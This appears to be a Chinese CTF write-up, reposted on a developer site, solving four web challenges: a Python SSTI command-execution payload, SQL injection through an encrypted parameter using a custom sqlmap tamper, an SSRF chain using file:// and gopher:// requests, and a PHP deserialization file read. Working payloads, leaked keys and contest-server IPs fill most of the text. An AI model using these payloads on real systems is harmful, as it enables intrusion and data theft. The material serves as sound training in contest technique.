内容简介：题目解析:是一个ssti类型漏洞playload
题目解析:
是一个ssti类型漏洞
playload
{{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].popen('ls').read()}}
参考:
之前一直也是被搅屎，后来下线了没管，结果最后5分钟他又上线了。。。5分钟里还挂了3分钟，没翻到flag，打扰了。
https://www.jianshu.com/p/6e4aebd18660
http://www.cnblogs.com/tyomcat/p/5440488.html
https://www.freebuf.com/articles/web/133336.html
WEB Code Check
题目解析:
目录遍历得到源码(我说我之前是百度+猜解得到加解密算法的你敢信)
http://39.108.176.234:49882/news/
<?php
header('content-type:text/html;charset=utf-8');
require_once '../config.php';
//解密过程
function decode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
if(substr(trim($data),-7)!=='hxb2018'){
echo '<script>window.location.href="/index.php";</script>';
}else{
return substr(trim($data),0,strlen(trim($data))-7);
}
}
$id=decode($_GET['id']);
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>X公司HR系统V1.0</title>
<style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
</head>
<body>
<div class="body">
<div class="title"><?php echo $arr['title']?></div>
<div class="content"><?php echo $arr['content']?></div>
</body>
</html>
使用 dirsearch
扫描还发现了phpinfo页面
http://39.108.176.234:49882/0.php
依据解密过程写出加密过程
<?php
// header('content-type:text/html;charset=utf-8');
// require_once '../config.php';
//解密过程
function decode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
mcrypt_generic_init($td, 'ydhaqPQnexoaDuW3', '2018201920202021');
$data = mdecrypt_generic($td, base64_decode(base64_decode($data)));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
if (substr(trim($data), -7) !== 'hxb2018') {
echo '<script>window.location.href="/index.php";</script>';
} else {
// var_dump($data);
return substr(trim($data), 0, strlen(trim($data)) - 7);
}
}
function encode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = mcrypt_generic($td,$data);
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
$data = base64_encode(base64_encode($data));
return $data;
}
$id = decode("b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09");
//echo $id;
//$deid=encode("2hxb2018");
$enid=$_GET['enid']."hxb2018";
$deid=encode($enid);
//$id = decode($deid);
echo $deid;
我将加密算法放在了本地服务器上然后写了一个sqlmap的tamper去进行注入。
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import requests
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
enurl="http://localhost/footest/test.php?enid={}".format(payload)
enpayload=requests.get(enurl)
return enpayload.content
else:
payload
payload如下
python sqlmap.py -u"http://39.108.176.234:49882/news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09" --tamper 23333 -D "mozhe_discuz_stormgroup" -T "notice2" -C "title" --dump
注入得到的数据如下
Database: mozhe_discuz_stormgroup
Table: notice2
[1 entry]
+-------------------------------------------+
| title |
+-------------------------------------------+
| hxb2018{14ef3bd9a833a50b7ae24bbb0e4d57c8} |
+-------------------------------------------+
参考:
就是依据这个链接猜到源码的大概
http://cpsliang.com/archives/634
WEB Readflag
题目描述:
来骗我的flag呀~
47.107.145.220:80
解题分析:
burp的intrude fuzz常见配置文件路径，得到配置文件
url=file:///etc/apache2/sites-enabled/000-default.conf
从配置文件中读到web路径
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/ssrf/web.php
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
依据找到的web路径去读取源码
http://47.107.145.220/?url=file:///var/www/html/ssrf/web.php
依据源码构造gopher去post数据进而得到flag
<?php
if(!isset($_GET['url'])){
echo "ssrf me with parameter 'url'";
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
//echo $_GET['url'];
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
//var_dump($_POST);
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['user'])){
if($_POST['user']=="admin" && $ip=="127.0.0.1"){
system("/var/www/html/ssrf/readflag");
}
}
?>
最后的payload如下
GET /?url=%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%38%30%2f%5f%50%4f%53%54%20%2f%73%73%72%66%2f%77%65%62%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%25%30%64%25%30%61%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%36%25%30%64%25%30%61%55%73%65%72%2d%41%67%65%6e%74%3a%20%63%75%72%6c%2f%37%2e%31%31%2e%30%25%30%64%25%30%61%41%63%63%65%70%74%3a%20%2a%2f%2a%25%30%64%25%30%61%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%31%30%25%30%64%25%30%61%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%25%30%64%25%30%61%25%30%64%25%30%61%75%73%65%72%3d%61%64%6d%69%6e HTTP/1.1 Host: 47.107.238.3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1
参考:
做题时看到的比较有意思的一篇文章，在没有得到源码前我以为题目的逻辑是这样的，因为之前我探测得到 MySQL 服务是存在的，但后来发现我猜错了。
WEB MyNote
题目分析:
首先找到了robots.txt
robots.txt
看到内容里面包含了几个文件
User-agent: * Allow: /controllers/Basecontrol.php Allow: /controllers/Controllers.php Allow: /controllers/User.php Allow: /flag.php
之后base64解码查看图片界面的返回信息发现是反序列化信息，进而构造如下数据去读取flag.php文件，最终得到flag
<?php $b[] = '../../flag.php'; echo urlencode(base64_encode(serialize($b)));
payload
GET /index.php/picture HTTP/1.1 Host: 47.107.239.135 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:63.0) Gecko/20100101 Firefox/63.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: Picture=YToxOntpOjA7czoxNDoiLi4vLi4vZmxhZy5waHAiO30%3D; PHPSESSID=a966des9csihs3pdc7plieldsh Upgrade-Insecure-Requests: 1
题目下线太快了，忘记保存flag的响应包了。
参考:
这题目可以getshell，所以一直被搅屎，而且存在原题。。。
https://legoc.github.io/2018/06/26/%E5%AE%89%E6%81%92%E5%85%AD%E6%9C%88%E6%9C%88%E8%B5%9B/
以上就是本文的全部内容，希望本文的内容对大家的学习或者工作能带来一定的帮助，也希望大家多多支持 码农网
猜你喜欢:
本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。
Markdown 在线编辑器
Markdown 在线编辑器
正则表达式在线测试
正则表达式在线测试